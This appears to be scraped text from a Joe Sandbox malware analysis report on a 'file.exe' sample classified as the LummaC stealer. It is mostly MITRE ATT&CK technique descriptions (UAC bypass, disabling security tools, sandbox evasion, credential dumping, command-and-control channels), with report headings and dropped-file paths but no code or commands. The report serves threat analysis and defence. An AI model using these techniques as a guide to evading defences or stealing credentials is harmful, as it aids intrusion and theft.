Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\TAW4YM7XHY64JPKK4AWZZOV.exe.log

C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00E75FAA Relevance: 4.6, APIs: 3, Instructions: 76
registryCOMMON

Function 00E67FCE Relevance: 1.6, APIs: 1, Instructions: 115
libraryCOMMON

Function 04FB0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 04FB0D41 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 04FB1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 04FB1509 Relevance: 1.6, APIs: 1, Instructions: 52
serviceCOMMON

Function 04FB1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Function 04FB1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Function 00E757C8 Relevance: 1.5, APIs: 1, Instructions: 46
libraryCOMMON

Function 00CEE84B Relevance: 1.3, APIs: 1, Instructions: 34
memoryCOMMON

Function 00CEEABC Relevance: 1.3, APIs: 1, Instructions: 20
memoryCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre